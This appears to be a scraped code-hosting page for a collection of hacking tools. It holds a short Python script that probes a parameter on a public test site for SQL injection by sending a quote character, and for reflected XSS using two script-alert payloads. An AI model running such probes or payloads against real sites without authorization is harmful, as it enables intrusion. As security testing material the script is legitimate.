This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
import requests
import sys
url = "http://testphp.vulnweb.com/listproducts.php?cat="
initial = "'"
xss_injection_payloads = ["<SCRIPT>alert('XSS');</SCRIPT>","<IMG SRC='javascript:alert('XSS');'>"]
response = requests.get(url+initial)
if "MySQL" in response.text or "You have an error in your SQL syntax" in response.text or "Syntax error" in response.text:
print("site vulnerable to sql injection")
for payload in xss_injection_payloads:
response = requests.get(url+payload)
if payload in response.text:
print("The parameter is vulnerable")
print("Payload string: "+payload+"\n")
print(response.text)